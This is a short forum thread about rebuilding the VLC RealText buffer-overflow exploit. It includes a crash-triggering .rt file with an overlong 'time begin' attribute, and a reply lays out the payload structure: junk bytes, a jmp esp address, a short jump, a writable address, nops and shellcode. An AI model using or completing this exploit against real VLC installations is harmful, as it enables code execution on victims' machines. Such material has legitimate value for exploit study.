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Thread: [Help]Rebuilding vlc_realtext exploit

  1. #1
    Just burned their ISO
    Join Date
    Oct 2012
    Posts
    1

    Question [Help]Rebuilding vlc_realtext exploit

    Hi everyone

    I'm trying to rebuild the vlc_realtext exploit myself, I have already understanded the vulnerability well. The problem is I can't find the proper way to inject my own shellcode.
    This is .rt file that triggers the vulnerability :
    Code:
    <window height="250" width="300" duration="15" bgcolor="yellow">
    Mary had a little lamb,
    <br/><time begin="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
    <br/><time begin="6"/>little lamb,
    <br/><time begin="9"/>Mary had a little lamb
    <br/><time begin="12"/>whose fleece was white as snow.
    </window>
    with 84 of As we can overwrite the EDI register.
    but I did not understand how the shellcode is going to be inject, I mean how the metasploit module that I linked above injecting the shellcode.
    I saw it under debugger but it was not clear for me.
    It would be nice to give me a tip on this.

  2. #2
    Just burned their ISO
    Join Date
    Jan 2010
    Posts
    1

    Default Re: [Help]Rebuilding vlc_realtext exploit

    The structure of the exploit is as follows:
    [72 bytes of junk][address of jmp esp cmd][short jump (6 bytes) over writable address][2 byte pad][writable address in memory][nops][shellcode]

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